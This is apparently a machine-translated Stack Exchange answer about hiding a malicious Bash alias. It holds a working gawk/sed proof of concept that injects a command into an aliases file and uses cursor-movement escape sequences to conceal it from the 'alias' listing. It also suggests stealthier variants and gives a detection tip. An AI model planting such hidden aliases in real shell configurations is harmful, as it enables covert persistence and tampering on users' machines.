Có thể ẩn một bí danh độc hại trong Bash trên Linux không?


Câu trả lời:


13

Có thể làm điều đó bằng cách gắn thêm bí danh hiện có vào mã độc và sử dụng chuyển động con trỏ để ẩn nó nếu aliaslệnh được sử dụng để hiển thị các định nghĩa bí danh. Đây không phải là một phương pháp hoàn hảo, nhưng nó có thể không bị phát hiện trong một thời gian. Đường ống aliasxuyên qua hdsẽ cho bạn biết liệu có bất kỳ chuỗi thoát nào (chuyển động con trỏ) trong bí danh của bạn hay không. Dưới đây là bằng chứng về khái niệm về cách một lệnh độc hại có thể được chèn vào bí danh:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • Các sedSửa lệnh một tập tin gọi là "bí danh" tại chỗ - một kịch bản thực sự của loại hình này sẽ đi cho cổ họng và sửa đổi một tập tin kịch bản thực tế để bí danh độc hại sẽ được kích hoạt lần sau khi nó thực thi.
  • Phần độc hại của ví dụ này chỉ rung chuông thiết bị đầu cuối để bạn biết nó đang hoạt động.
  • Lệnh ban đầu được đặt bí danh sẽ được thực thi với nội dung hidedưới dạng đối số để có thể hiểu rằng bạn có thể gặp lỗi tương tự như lỗi được báo cáo trong câu hỏi này . Có thể đảo ngược các phần gốc và độc hại để ảnh hưởng đến điều này, mặc dù điều này sẽ can thiệp vào các đối số được cung cấp cho bí danh. Một nỗ lực được thực hiện trong đoạn script trên để đánh dấu sự kết thúc của các đối số --.
  • Thay vì kết nối các phần gốc và phần độc hại với nhau &&, bạn có thể chuyển phần này sang phần tiếp theo và tạo tập lệnh độc hại (được biểu thị ở trên bằng echolệnh đơn giản ) stdinđể stdoutchuyển qua hoặc sửa đổi dữ liệu khi nó đi qua hoặc để ẩn dữ liệu tồn tại hơn nữa bằng cách không can thiệp vào chuyển hướng khác
  • Một khả năng khác là thay vào đó sẽ bao gồm bí danh gốc bên trong tập lệnh độc hại có thể xóa chuỗi chuyển động con trỏ khỏi danh sách đối số và chuyển phần còn lại vào bản gốc.
  • Tôi tùy ý chọn các bản ghi 3 và 4, mã thông minh hơn có thể nhắm mục tiêu các bí danh cụ thể, nhưng chúng cần phải liền kề (hoặc chuyển động con trỏ có thể được thực hiện phức tạp hơn).
  • Các hidechuỗi có thể được sửa đổi để bao gồm di chuyển con trỏ khác nhau và nội dung của bí danh ban đầu để các aliaslệnh sẽ xuất hiện để hiển thị các bí danh chưa sửa đổi thay vì che giấu nó cùng với một phần độc hại.
  • Để dùng thử dưới dạng văn bản, bạn cần phải có ít nhất bốn bí danh hoạt động, chạy tập lệnh này, sau đó nguồn tệp kết quả với . aliases. Sau đó, bạn có thể thử sử dụng bí danh bị ảnh hưởng và xem nó trông như thế nào khi bạn làm alias|hd.
  • Điều này chắc chắn có thể được viết lại hàng trăm cách khác nhau - tất cả đều tốt hơn.
  • Làm thế nào thực tế là loại mối đe dọa này? Tôi không có manh mối. Nhưng nếu tôi có thể làm điều đó ...
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.